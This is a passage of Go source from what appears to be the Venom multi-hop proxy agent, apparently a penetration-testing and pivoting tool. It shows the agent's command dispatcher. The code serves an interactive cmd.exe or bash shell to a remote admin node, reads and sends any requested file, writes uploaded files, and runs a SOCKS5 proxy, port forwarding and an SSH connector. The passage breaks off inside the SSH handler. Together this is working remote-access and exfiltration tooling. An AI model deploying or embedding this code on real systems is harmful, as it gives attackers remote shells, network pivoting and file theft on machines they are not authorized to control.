109 | for key, value := range node.GNetworkTopology.RouteTable {
110 | if _, ok := node.Nodes[key]; !ok {
111 | // node.Nodes[key] = &node.Node{
112 | // HashID: key,
113 | // Conn: node.Nodes[value].Conn,
114 | // ConnReadLock: &sync.Mutex{},
115 | // ConnWriteLock: &sync.Mutex{},
116 | // // Socks5SessionIDLock: &sync.Mutex{},
117 | // // Socks5DataBufferLock: &sync.RWMutex{},
118 | // }
119 | // node.Nodes[key].InitDataBuffer()
120 |
121 | node.Nodes[key] = node.NewNode(
122 | 0,
123 | key,
124 | node.Nodes[value].Conn,
125 | false,
126 | )
127 | }
128 | }
129 |
130 | // // 生成节点信息
131 | // node.GNodeInfo.UpdateNoteInfo()
132 |
133 | packetHeader = protocol.PacketHeader{
134 | Separator: global.PROTOCOL_SEPARATOR,
135 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
136 | DstHashID: packetHeader.SrcHashID,
137 | CmdType: protocol.SYNC,
138 | }
139 | networkMap = node.GNetworkTopology.GenerateNetworkMapData()
140 | syncPacket = protocol.SyncPacket{
141 | NetworkMapLen: uint64(len(networkMap)),
142 | NetworkMap: networkMap,
143 | }
144 | nextNode.WritePacket(packetHeader, syncPacket)
145 |
146 | // fmt.Println(node.CurrentNode.HashID)
147 | // fmt.Println(node.GNetworkTopology.RouteTable)
148 | // fmt.Println(node.GNetworkTopology.NetworkMap)
149 | }
150 | }
151 |
152 | func handleListenCmd() {
153 | for {
154 | var packetHeader protocol.PacketHeader
155 | var listenPacketCmd protocol.ListenPacketCmd
156 | node.CurrentNode.CommandBuffers[protocol.LISTEN].ReadPacket(&packetHeader, &listenPacketCmd)
157 |
158 | // adminNode := node.Nodes[node.GNetworkTopology.RouteTable[utils.Array32ToUUID(packetHeader.SrcHashID)]]
159 |
160 | // 网络拓扑同步完成之后即可直接使用以及构造好的节点结构体
161 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
162 |
163 | err := netio.InitNode(
164 | "listen",
165 | fmt.Sprintf("0.0.0.0:%d", listenPacketCmd.Port),
166 | AgentServer, false, 0)
167 |
168 | var listenPacketRet protocol.ListenPacketRet
169 | if err != nil {
170 | listenPacketRet.Success = 0
171 | listenPacketRet.Msg = []byte(fmt.Sprintf("%s", err))
172 | } else {
173 | listenPacketRet.Success = 1
174 | }
175 | listenPacketRet.MsgLen = uint32(len(listenPacketRet.Msg))
176 | packetHeader = protocol.PacketHeader{
177 | Separator: global.PROTOCOL_SEPARATOR,
178 | CmdType: protocol.LISTEN,
179 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
180 | DstHashID: packetHeader.SrcHashID,
181 | }
182 | adminNode.WritePacket(packetHeader, listenPacketRet)
183 | }
184 | }
185 |
186 | func handleConnectCmd() {
187 | for {
188 | var packetHeader protocol.PacketHeader
189 | var connectPacketCmd protocol.ConnectPacketCmd
190 |
191 | node.CurrentNode.CommandBuffers[protocol.CONNECT].ReadPacket(&packetHeader, &connectPacketCmd)
192 |
193 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
194 |
195 | err := netio.InitNode(
196 | "connect",
197 | fmt.Sprintf("%s:%d", utils.Uint32ToIp(connectPacketCmd.IP).String(), connectPacketCmd.Port),
198 | AgentClient, false, 0)
199 |
200 | var connectPacketRet protocol.ConnectPacketRet
201 | if err != nil {
202 | connectPacketRet.Success = 0
203 | connectPacketRet.Msg = []byte(fmt.Sprintf("%s", err))
204 | } else {
205 | connectPacketRet.Success = 1
206 | }
207 | connectPacketRet.MsgLen = uint32(len(connectPacketRet.Msg))
208 | packetHeader = protocol.PacketHeader{
209 | Separator: global.PROTOCOL_SEPARATOR,
210 | CmdType: protocol.CONNECT,
211 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
212 | DstHashID: packetHeader.SrcHashID,
213 | }
214 | adminNode.WritePacket(packetHeader, connectPacketRet)
215 | }
216 | }
217 |
218 | func handleDownloadCmd() {
219 | for {
220 | var packetHeader protocol.PacketHeader
221 | var downloadPacketCmd protocol.DownloadPacketCmd
222 |
223 | node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&packetHeader, &downloadPacketCmd)
224 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
225 | filePath := string(downloadPacketCmd.Path)
226 |
227 | var downloadPacketRet protocol.DownloadPacketRet
228 | var file *os.File
229 | var fileSize int64
230 | // 如果文件存在,则下载
231 | if utils.FileExists(filePath) {
232 | if !utils.IsDir(filePath) {
233 | var err error
234 | file, err = os.Open(filePath)
235 | if err != nil {
236 | downloadPacketRet.Success = 0
237 | downloadPacketRet.Msg = []byte(fmt.Sprintf("%s", err))
238 | } else {
239 | defer file.Close()
240 | downloadPacketRet.Success = 1
241 | fileSize = utils.GetFileSize(filePath)
242 | downloadPacketRet.FileLen = uint64(fileSize)
243 | }
244 | } else {
245 | downloadPacketRet.Success = 0
246 | downloadPacketRet.Msg = []byte(fmt.Sprintf("%s", ERR_PATH_IS_DIR))
247 | }
248 | } else {
249 | downloadPacketRet.Success = 0
250 | downloadPacketRet.Msg = []byte(fmt.Sprintf("%s", ERR_FILE_NOT_EXISTS))
251 | }
252 |
253 | downloadPacketRet.MsgLen = uint32(len(downloadPacketRet.Msg))
254 |
255 | var retPacketHeader protocol.PacketHeader
256 | retPacketHeader.CmdType = protocol.DOWNLOAD
257 | retPacketHeader.Separator = global.PROTOCOL_SEPARATOR
258 | retPacketHeader.SrcHashID = packetHeader.DstHashID
259 | retPacketHeader.DstHashID = packetHeader.SrcHashID
260 |
261 | adminNode.WritePacket(retPacketHeader, downloadPacketRet)
262 |
263 | if downloadPacketRet.Success == 0 {
264 | continue
265 | }
266 |
267 | var cmdPacketHeader protocol.PacketHeader
268 | node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&cmdPacketHeader, &downloadPacketCmd)
269 |
270 | if downloadPacketCmd.StillDownload == 0 {
271 | continue
272 | }
273 |
274 | adminNode.WritePacket(retPacketHeader, downloadPacketRet)
275 |
276 | var dataBlockSize = uint64(global.MAX_PACKET_SIZE - 4)
277 | loop := int64(downloadPacketRet.FileLen / dataBlockSize)
278 | remainder := downloadPacketRet.FileLen % dataBlockSize
279 |
280 | var size int64
281 | for ; loop >= 0; loop-- {
282 | var buf []byte
283 | if loop > 0 {
284 | buf = make([]byte, dataBlockSize)
285 | } else {
286 | buf = make([]byte, remainder)
287 | }
288 | n, err := io.ReadFull(file, buf)
289 | if n > 0 {
290 | size += int64(n)
291 | dataPacket := protocol.FileDataPacket{
292 | DataLen: uint32(n),
293 | Data: buf[0:n],
294 | }
295 | retPacketHeader := protocol.PacketHeader{
296 | Separator: global.PROTOCOL_SEPARATOR,
297 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
298 | DstHashID: packetHeader.SrcHashID,
299 | CmdType: protocol.DOWNLOAD,
300 | }
301 | adminNode.WritePacket(retPacketHeader, dataPacket)
302 | }
303 | if err != nil {
304 | if err != io.EOF {
305 | log.Println("[-]Read file error")
306 | }
307 | break
308 | }
309 | }
310 | }
311 | }
312 |
313 | func handleUploadCmd() {
314 | for {
315 | /* ------ before upload ------- */
316 | var packetHeader protocol.PacketHeader
317 | var uploadPacketCmd protocol.UploadPacketCmd
318 | node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeader, &uploadPacketCmd)
319 |
320 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
321 |
322 | packetHeaderRet := protocol.PacketHeader{
323 | CmdType: protocol.UPLOAD,
324 | Separator: global.PROTOCOL_SEPARATOR,
325 | SrcHashID: packetHeader.DstHashID,
326 | DstHashID: packetHeader.SrcHashID,
327 | }
328 |
329 | var uploadPacketRet protocol.UploadPacketRet
330 |
331 | var filePath = string(uploadPacketCmd.Path)
332 |
333 | var file *os.File
334 | // 如果文件不存在,则上传
335 | if !utils.FileExists(filePath) {
336 | var err error
337 | file, err = os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE, 0644)
338 | if err != nil {
339 | uploadPacketRet.Success = 0
340 | uploadPacketRet.Msg = []byte(fmt.Sprintf("%s", err))
341 | } else {
342 | uploadPacketRet.Success = 1
343 | defer file.Close()
344 | }
345 | } else {
346 | uploadPacketRet.Success = 0
347 | uploadPacketRet.Msg = []byte(fmt.Sprintf("%s %s", filePath, ERR_FILE_EXISTS))
348 | }
349 | uploadPacketRet.MsgLen = uint32(len(uploadPacketRet.Msg))
350 |
351 | adminNode.WritePacket(packetHeaderRet, uploadPacketRet)
352 |
353 | if uploadPacketRet.Success == 0 || file == nil {
354 | continue
355 | }
356 |
357 | // /* ----- upload file -------- */
358 | node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeader, &uploadPacketCmd)
359 |
360 | var uploadPacketRet2 protocol.UploadPacketRet
361 |
362 | var dataBlockSize = uint64(global.MAX_PACKET_SIZE - 4)
363 | loop := int64(uploadPacketCmd.FileLen / dataBlockSize)
364 | remainder := uploadPacketCmd.FileLen % dataBlockSize
365 | for loop >= 0 {
366 | if loop != 0 || (loop == 0 && remainder != 0) {
367 | var fileDataPacket protocol.FileDataPacket
368 | var packetHeaderRet protocol.PacketHeader
369 | node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeaderRet, &fileDataPacket)
370 | _, err := file.Write(fileDataPacket.Data)
371 | if err != nil {
372 | uploadPacketRet2.Success = 0
373 | uploadPacketRet2.Msg = []byte(fmt.Sprintf("%s", err))
374 | }
375 | }
376 | loop--
377 | }
378 | file.Close()
379 |
380 | uploadPacketRet2.Success = 1
381 | uploadPacketRet2.MsgLen = uint32(len(uploadPacketRet.Msg))
382 | adminNode.WritePacket(packetHeaderRet, uploadPacketRet2)
383 | }
384 | }
385 |
386 | func handleShellCmd() {
387 |
388 | for {
389 |
390 | var packetHeader protocol.PacketHeader
391 | var shellPacketCmd protocol.ShellPacketCmd
392 |
393 | node.CurrentNode.CommandBuffers[protocol.SHELL].ReadPacket(&packetHeader, &shellPacketCmd)
394 |
395 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
396 |
397 | if shellPacketCmd.Start != 1 {
398 | continue
399 | }
400 |
401 | var cmd *exec.Cmd
402 |
403 | switch utils.GetSystemType() {
404 | // windows
405 | case 0x01:
406 | cmd = exec.Command("c:\\windows\\system32\\cmd.exe")
407 | // mac , linux, others
408 | default:
409 | if runtime.GOARCH == "386" || runtime.GOARCH == "amd64" {
410 | cmd = exec.Command("/bin/bash", "-i")
411 | } else {
412 | cmd = exec.Command("/bin/sh", "-i")
413 | }
414 | }
415 |
416 | out, _ := cmd.StdoutPipe()
417 | in, _ := cmd.StdinPipe()
418 | cmd.Stderr = cmd.Stdout
419 |
420 | if err := cmd.Start(); err != nil {
421 | // log.Fatal(err)
422 | shellPacketRet := protocol.ShellPacketRet{
423 | Success: 0,
424 | }
425 | packetHeaderRet := protocol.PacketHeader{
426 | Separator: global.PROTOCOL_SEPARATOR,
427 | CmdType: protocol.SHELL,
428 | SrcHashID: packetHeader.DstHashID,
429 | DstHashID: packetHeader.SrcHashID,
430 | }
431 | adminNode.WritePacket(packetHeaderRet, shellPacketRet)
432 | continue
433 | }
434 |
435 | shellPacketRet := protocol.ShellPacketRet{
436 | Success: 1,
437 | }
438 | packetHeaderRet := protocol.PacketHeader{
439 | Separator: global.PROTOCOL_SEPARATOR,
440 | CmdType: protocol.SHELL,
441 | SrcHashID: packetHeader.DstHashID,
442 | DstHashID: packetHeader.SrcHashID,
443 | }
444 | adminNode.WritePacket(packetHeaderRet, shellPacketRet)
445 |
446 | c := make(chan bool, 2)
447 | go CopyNode2StdinPipe(adminNode, in, c, cmd)
448 | go CopyStdoutPipe2Node(out, adminNode, c)
449 | <-c
450 | <-c
451 | cmd.Wait()
452 |
453 | // exit
454 | ShellPacketRet := protocol.ShellPacketRet{
455 | Success: 0,
456 | }
457 | packetHeader = protocol.PacketHeader{
458 | Separator: global.PROTOCOL_SEPARATOR,
459 | CmdType: protocol.SHELL,
460 | SrcHashID: packetHeader.DstHashID,
461 | DstHashID: packetHeader.SrcHashID,
462 | }
463 | adminNode.WritePacket(packetHeader, ShellPacketRet)
464 | }
465 | }
466 |
467 | // handleSocks5Cmd 从node.CommandBuffers[protocol.SOCKS]中读取命令并处理
468 | func handleSocks5Cmd() {
469 | for {
470 | // 启动socks5的命令数据包
471 | var packetHeader protocol.PacketHeader
472 | var socks5ControlCmd protocol.Socks5ControlPacketCmd
473 | node.CurrentNode.CommandBuffers[protocol.SOCKS].ReadPacket(&packetHeader, &socks5ControlCmd)
474 |
475 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
476 |
477 | // 初始化对应SessionID的Buffer
478 | adminNode.DataBuffers[protocol.SOCKSDATA].NewDataBuffer(socks5ControlCmd.SessionID)
479 |
480 | // 返回启动成功命令
481 | socks5ControlRet := protocol.Socks5ControlPacketRet{
482 | Success: 1,
483 | }
484 | packetHeaderRet := protocol.PacketHeader{
485 | Separator: global.PROTOCOL_SEPARATOR,
486 | CmdType: protocol.SOCKS,
487 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
488 | DstHashID: packetHeader.SrcHashID,
489 | }
490 | adminNode.WritePacket(packetHeaderRet, socks5ControlRet)
491 |
492 | go func() {
493 | defer func() {
494 | socks5CloseData := protocol.NetDataPacket{
495 | SessionID: socks5ControlCmd.SessionID,
496 | Close: 1,
497 | }
498 | packetHeader := protocol.PacketHeader{
499 | Separator: global.PROTOCOL_SEPARATOR,
500 | CmdType: protocol.SOCKSDATA,
501 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
502 | DstHashID: utils.UUIDToArray32(adminNode.HashID),
503 | }
504 | adminNode.WritePacket(packetHeader, socks5CloseData)
505 |
506 | // adminNode.DataBuffers[protocol.SOCKSDATA].RealseDataBuffer(socks5ControlCmd.SessionID)
507 | // runtime.GC()
508 | }()
509 | if err := AgentHandShake(adminNode, socks5ControlCmd.SessionID); err != nil {
510 | log.Println("[-]Socks handshake error:", err)
511 | return
512 | }
513 | addr, err := AgentParseTarget(adminNode, socks5ControlCmd.SessionID)
514 | if err != nil {
515 | log.Println("[-]Socks consult transfer mode or parse target error:", err)
516 | return
517 | }
518 | PipeWhenClose(adminNode, socks5ControlCmd.SessionID, addr)
519 | }()
520 | }
521 | }
522 |
523 | func handleLForwardCmd() {
524 | for {
525 | var packetHeader protocol.PacketHeader
526 | var lforwardPacketCmd protocol.NetLForwardPacketCmd
527 | node.CurrentNode.CommandBuffers[protocol.LFORWARD].ReadPacket(&packetHeader, &lforwardPacketCmd)
528 |
529 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
530 |
531 | dport := lforwardPacketCmd.DstPort
532 |
533 | err := netio.InitTCP(
534 | "listen",
535 | fmt.Sprintf("0.0.0.0:%d", dport),
536 | adminNode.HashID,
537 | localLForwardServer,
538 | lforwardPacketCmd.LHost,
539 | lforwardPacketCmd.SrcPort,
540 | )
541 |
542 | lforwardPacketRet := protocol.NetLForwardPacketRet{
543 | SessionID: 0,
544 | Success: 1,
545 | }
546 | packetHeaderRet := protocol.PacketHeader{
547 | Separator: global.PROTOCOL_SEPARATOR,
548 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
549 | DstHashID: utils.UUIDToArray32(adminNode.HashID),
550 | CmdType: protocol.LFORWARD,
551 | }
552 |
553 | if err != nil {
554 | log.Println("[-]LForward tcp listen error")
555 | lforwardPacketRet.Success = 0
556 | node.Nodes[adminNode.HashID].WritePacket(packetHeaderRet, lforwardPacketRet)
557 | }
558 | }
559 | }
560 |
561 | func localLForwardServer(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) {
562 | // fmt.Println("localLForwardServer")
563 | // defer conn.Close()
564 | adminNode := node.Nodes[peerNodeID]
565 | currentSessionID := adminNode.DataBuffers[protocol.LFORWARDDATA].GetSessionID()
566 |
567 | defer func() {
568 | // fmt.Println("################ agent close ################")
569 |
570 | lforwardDataPacketCloseData := protocol.NetDataPacket{
571 | SessionID: currentSessionID,
572 | Close: 1,
573 | }
574 | packetHeader := protocol.PacketHeader{
575 | Separator: global.PROTOCOL_SEPARATOR,
576 | CmdType: protocol.LFORWARDDATA,
577 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
578 | DstHashID: utils.UUIDToArray32(adminNode.HashID),
579 | }
580 | adminNode.WritePacket(packetHeader, lforwardDataPacketCloseData)
581 |
582 | // adminNode.DataBuffers[protocol.LFORWARDDATA].RealseDataBuffer(currentSessionID)
583 | // runtime.GC()
584 | }()
585 |
586 | adminNode.DataBuffers[protocol.LFORWARDDATA].NewDataBuffer(currentSessionID)
587 |
588 | lforwardPacketRet := protocol.NetLForwardPacketRet{
589 | SessionID: currentSessionID,
590 | Success: 1,
591 | LHost: args[0].([]interface{})[0].(uint32),
592 | SrcPort: args[0].([]interface{})[1].(uint16),
593 | }
594 | packetHeaderRet := protocol.PacketHeader{
595 | Separator: global.PROTOCOL_SEPARATOR,
596 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
597 | DstHashID: utils.UUIDToArray32(adminNode.HashID),
598 | CmdType: protocol.LFORWARD,
599 | }
600 | adminNode.WritePacket(packetHeaderRet, lforwardPacketRet)
601 |
602 | c := make(chan bool, 2)
603 |
604 | // 从node DataBuffer中读取数据,发送给客户端
605 | go node.CopyNet2Node(conn, adminNode, currentSessionID, protocol.LFORWARDDATA, c)
606 | go node.CopyNode2Net(adminNode, conn, currentSessionID, protocol.LFORWARDDATA, c)
607 |
608 | // exit
609 | <-c
610 | <-done
611 | }
612 |
613 | func handleRForwardCmd() {
614 | for {
615 | // 启动socks5的命令数据包
616 | var packetHeader protocol.PacketHeader
617 | var rforwardPacketCmd protocol.NetRForwardPacketCmd
618 | node.CurrentNode.CommandBuffers[protocol.RFORWARD].ReadPacket(&packetHeader, &rforwardPacketCmd)
619 |
620 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
621 |
622 | rhost := utils.Uint32ToIp(rforwardPacketCmd.RHost).String()
623 | sport := rforwardPacketCmd.SrcPort
624 |
625 | err := netio.InitTCP(
626 | "connect",
627 | fmt.Sprintf("%s:%d", rhost, sport),
628 | adminNode.HashID,
629 | func(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) {
630 | rforwardPacketRet := protocol.NetRForwardPacketRet{
631 | Success: 1,
632 | }
633 | packetHeaderRet := protocol.PacketHeader{
634 | Separator: global.PROTOCOL_SEPARATOR,
635 | CmdType: protocol.RFORWARD,
636 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
637 | DstHashID: utils.UUIDToArray32(adminNode.HashID),
638 | }
639 | adminNode.WritePacket(packetHeaderRet, rforwardPacketRet)
640 |
641 | currentSessionID := rforwardPacketCmd.SessionID
642 | adminNode.DataBuffers[protocol.RFORWARDDATA].NewDataBuffer(currentSessionID)
643 | defer func() {
644 | closeData := protocol.NetDataPacket{
645 | SessionID: currentSessionID,
646 | Close: 1,
647 | }
648 | packetHeader := protocol.PacketHeader{
649 | Separator: global.PROTOCOL_SEPARATOR,
650 | CmdType: protocol.RFORWARDDATA,
651 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
652 | DstHashID: utils.UUIDToArray32(adminNode.HashID),
653 | }
654 | adminNode.WritePacket(packetHeader, closeData)
655 | }()
656 | c := make(chan bool, 2)
657 |
658 | go node.CopyNode2Net(adminNode, conn, currentSessionID, protocol.RFORWARDDATA, c)
659 | go node.CopyNet2Node(conn, adminNode, currentSessionID, protocol.RFORWARDDATA, c)
660 |
661 | <-c
662 | })
663 |
664 | if err != nil {
665 | rforwardPacketRet := protocol.NetRForwardPacketRet{
666 | Success: 0,
667 | }
668 | packetHeaderRet := protocol.PacketHeader{
669 | Separator: global.PROTOCOL_SEPARATOR,
670 | CmdType: protocol.RFORWARD,
671 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
672 | DstHashID: utils.UUIDToArray32(adminNode.HashID),
673 | }
674 | adminNode.WritePacket(packetHeaderRet, rforwardPacketRet)
675 | }
676 | }
677 | }
678 |
--------------------------------------------------------------------------------
/agent/dispather/proxy.go:
--------------------------------------------------------------------------------
1 | package dispather
2 |
3 | import (
4 | "encoding/binary"
5 | "errors"
6 | "log"
7 | "net"
8 | "strconv"
9 | "time"
10 |
11 | "github.com/Dliv3/Venom/global"
12 | "github.com/Dliv3/Venom/node"
13 | "github.com/Dliv3/Venom/protocol"
14 | "github.com/Dliv3/Venom/utils"
15 | )
16 |
17 | var (
18 | Commands = []string{"CONNECT", "BIND", "UDP ASSOCIATE"}
19 | AddrType = []string{"", "IPv4", "", "Domain", "IPv6"}
20 | Conns = make([]net.Conn, 0)
21 | Verbose = false
22 |
23 | errAddrType = errors.New("socks addr type not supported")
24 | errVer = errors.New("socks version not supported")
25 | errMethod = errors.New("socks only support noauth method")
26 | errAuthExtraData = errors.New("socks authentication get extra data")
27 | errReqExtraData = errors.New("socks request get extra data")
28 | errCmd = errors.New("socks only support connect command")
29 | )
30 |
31 | const (
32 | socksVer5 = 0x05
33 | socksCmdConnect = 0x01
34 | )
35 |
36 | func AgentHandShake(peerNode *node.Node, currentSessionID uint16) (err error) {
37 | const (
38 | idVer = 0
39 | idNmethod = 1
40 | )
41 |
42 | var n int
43 |
44 | buf, err := peerNode.DataBuffers[protocol.SOCKSDATA].GetDataBuffer(currentSessionID).ReadBytes()
45 | if err != nil {
46 | return err
47 | }
48 |
49 | n = len(buf)
50 |
51 | if buf[idVer] != socksVer5 {
52 | return errVer
53 | }
54 |
55 | nmethod := int(buf[idNmethod]) // client support auth mode
56 | msgLen := nmethod + 2 // auth msg length
57 | if n == msgLen { // handshake done, common case
58 | // do nothing, jump directly to send confirmation
59 | } else if n < msgLen { // has more methods to read, rare case
60 | buf, err = peerNode.DataBuffers[protocol.SOCKSDATA].GetDataBuffer(currentSessionID).ReadBytes()
61 | if err != nil {
62 | return err
63 | }
64 | } else { // error, should not get extra data
65 | return errAuthExtraData
66 | }
67 | /*
68 | X'00' NO AUTHENTICATION REQUIRED
69 | X'01' GSSAPI
70 | X'02' USERNAME/PASSWORD
71 | X'03' to X'7F' IANA ASSIGNED
72 | X'80' to X'FE' RESERVED FOR PRIVATE METHODS
73 | X'FF' NO ACCEPTABLE METHODS
74 | */
75 | // send confirmation: version 5, no authentication required
76 | // _, err = conn.Write([]byte{socksVer5, 0})
77 | buf = []byte{socksVer5, 0}
78 | socks5Data := protocol.NetDataPacket{
79 | SessionID: currentSessionID,
80 | DataLen: uint32(len(buf)),
81 | Data: buf,
82 | }
83 | size, _ := utils.PacketSize(socks5Data)
84 | packetHeader := protocol.PacketHeader{
85 | Separator: global.PROTOCOL_SEPARATOR,
86 | CmdType: protocol.SOCKSDATA,
87 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
88 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
89 | DataLen: size,
90 | }
91 | peerNode.WritePacket(packetHeader, socks5Data)
92 | return
93 | }
94 |
95 | func AgentParseTarget(peerNode *node.Node, currentSessionID uint16) (host string, err error) {
96 | const (
97 | idVer = 0
98 | idCmd = 1
99 | idType = 3 // address type index
100 | idIP0 = 4 // ip addres start index
101 | idDmLen = 4 // domain address length index
102 | idDm0 = 5 // domain address start index
103 |
104 | typeIPv4 = 1 // type is ipv4 address
105 | typeDm = 3 // type is domain address
106 | typeIPv6 = 4 // type is ipv6 address
107 |
108 | lenIPv4 = 3 + 1 + net.IPv4len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv4 + 2port
109 | lenIPv6 = 3 + 1 + net.IPv6len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv6 + 2port
110 | lenDmBase = 3 + 1 + 1 + 2 // 3 + 1addrType + 1addrLen + 2port, plus addrLen
111 | )
112 | // refer to getRequest in server.go for why set buffer size to 263
113 | // buf := make([]byte, 263)
114 | var n int
115 |
116 | // read till we get possible domain length field
117 | // if n, err = io.ReadAtLeast(conn, buf, idDmLen+1); err != nil {
118 | // return
119 | // }
120 |
121 | buf, err := peerNode.DataBuffers[protocol.SOCKSDATA].GetDataBuffer(currentSessionID).ReadBytes()
122 | if err != nil {
123 | return
124 | }
125 |
126 | n = len(buf)
127 |
128 | // check version and cmd
129 | if buf[idVer] != socksVer5 {
130 | err = errVer
131 | return
132 | }
133 |
134 | /*
135 | CONNECT X'01'
136 | BIND X'02'
137 | UDP ASSOCIATE X'03'
138 | */
139 |
140 | if buf[idCmd] > 0x03 || buf[idCmd] == 0x00 {
141 | log.Println("Unknown Command", buf[idCmd])
142 | }
143 |
144 | if Verbose {
145 | log.Println("Command:", Commands[buf[idCmd]-1])
146 | }
147 |
148 | if buf[idCmd] != socksCmdConnect { // only support CONNECT mode
149 | err = errCmd
150 | return
151 | }
152 |
153 | // read target address
154 | reqLen := -1
155 | switch buf[idType] {
156 | case typeIPv4:
157 | reqLen = lenIPv4
158 | case typeIPv6:
159 | reqLen = lenIPv6
160 | case typeDm: // domain name
161 | reqLen = int(buf[idDmLen]) + lenDmBase
162 | default:
163 | err = errAddrType
164 | return
165 | }
166 |
167 | if n == reqLen {
168 | // common case, do nothing
169 | } else if n < reqLen { // rare case
170 | // if _, err = io.ReadFull(conn, buf[n:reqLen]); err != nil {
171 | // return
172 | // }
173 | var tmp []byte
174 | tmp, err = peerNode.DataBuffers[protocol.SOCKSDATA].GetDataBuffer(currentSessionID).ReadBytes()
175 | if err != nil {
176 | return
177 | }
178 | buf = append(buf, tmp...)
179 | } else {
180 | err = errReqExtraData
181 | return
182 | }
183 |
184 | switch buf[idType] {
185 | case typeIPv4:
186 | host = net.IP(buf[idIP0 : idIP0+net.IPv4len]).String()
187 | case typeIPv6:
188 | host = net.IP(buf[idIP0 : idIP0+net.IPv6len]).String()
189 | case typeDm:
190 | host = string(buf[idDm0 : idDm0+buf[idDmLen]])
191 | }
192 | port := binary.BigEndian.Uint16(buf[reqLen-2 : reqLen])
193 | host = net.JoinHostPort(host, strconv.Itoa(int(port)))
194 | return
195 | }
196 |
197 | func PipeWhenClose(peerNode *node.Node, currentSessionID uint16, target string) {
198 |
199 | remoteConn, err := net.DialTimeout("tcp", target, time.Duration(time.Second*2))
200 | if err != nil {
201 | log.Println("Connect remote :", err)
202 | return
203 | }
204 |
205 | tcpAddr := remoteConn.LocalAddr().(*net.TCPAddr)
206 | if tcpAddr.Zone == "" {
207 | if tcpAddr.IP.Equal(tcpAddr.IP.To4()) {
208 | tcpAddr.Zone = "ip4"
209 | } else {
210 | tcpAddr.Zone = "ip6"
211 | }
212 | }
213 |
214 | // if Verbose {
215 | log.Println("[+]Connect to remote address:", target)
216 | // }
217 |
218 | rep := make([]byte, 256)
219 | rep[0] = 0x05
220 | rep[1] = 0x00 // success
221 | rep[2] = 0x00 //RSV
222 |
223 | //IP
224 | if tcpAddr.Zone == "ip6" {
225 | rep[3] = 0x04 //IPv6
226 | } else {
227 | rep[3] = 0x01 //IPv4
228 | }
229 |
230 | var ip net.IP
231 | if "ip6" == tcpAddr.Zone {
232 | ip = tcpAddr.IP.To16()
233 | } else {
234 | ip = tcpAddr.IP.To4()
235 | }
236 | pindex := 4
237 | for _, b := range ip {
238 | rep[pindex] = b
239 | pindex++
240 | }
241 | rep[pindex] = byte((tcpAddr.Port >> 8) & 0xff)
242 | rep[pindex+1] = byte(tcpAddr.Port & 0xff)
243 | // conn.Write(rep[0 : pindex+2])
244 | socks5Data := protocol.NetDataPacket{
245 | SessionID: currentSessionID,
246 | DataLen: uint32(pindex + 2),
247 | Data: rep[0 : pindex+2],
248 | }
249 | size, _ := utils.PacketSize(socks5Data)
250 | packetHeader := protocol.PacketHeader{
251 | Separator: global.PROTOCOL_SEPARATOR,
252 | CmdType: protocol.SOCKSDATA,
253 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
254 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
255 | DataLen: size,
256 | }
257 | peerNode.WritePacket(packetHeader, socks5Data)
258 |
259 | // 退出处理
260 | defer remoteConn.Close()
261 |
262 | // Transfer data
263 | c := make(chan bool, 2)
264 |
265 | // Copy local to remote
266 | go node.CopyNode2Net(peerNode, remoteConn, currentSessionID, protocol.SOCKSDATA, c)
267 |
268 | // Copy remote to local
269 | go node.CopyNet2Node(remoteConn, peerNode, currentSessionID, protocol.SOCKSDATA, c)
270 |
271 | <-c
272 | }
273 |
--------------------------------------------------------------------------------
/agent/dispather/ssh.go:
--------------------------------------------------------------------------------
1 | // +build 386 amd64
2 |
3 | package dispather
4 |
5 | import (
6 | "fmt"
7 | "net"
8 | "time"
9 |
10 | "github.com/Dliv3/Venom/global"
11 | "github.com/Dliv3/Venom/node"
12 | "github.com/Dliv3/Venom/protocol"
13 | "github.com/Dliv3/Venom/utils"
14 | "golang.org/x/crypto/ssh"
15 | )
16 |
17 | const TIMEOUT = 5
18 |
19 | func handleSshConnectCmd() {
20 | for {
21 | var packetHeader protocol.PacketHeader
22 | var sshConnectPacketCmd protocol.SshConnectPacketCmd
23 |
24 | node.CurrentNode.CommandBuffers[protocol.SSHCONNECT].ReadPacket(&packetHeader, &sshConnectPacketCmd)
25 |
26 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
27 |
28 | var sshConnectPacketRet protocol.SshConnectPacketRet
29 | var packetHeaderRet protocol.PacketHeader
30 |
31 | packetHeaderRet = protocol.PacketHeader{
32 | Separator: global.PROTOCOL_SEPARATOR,
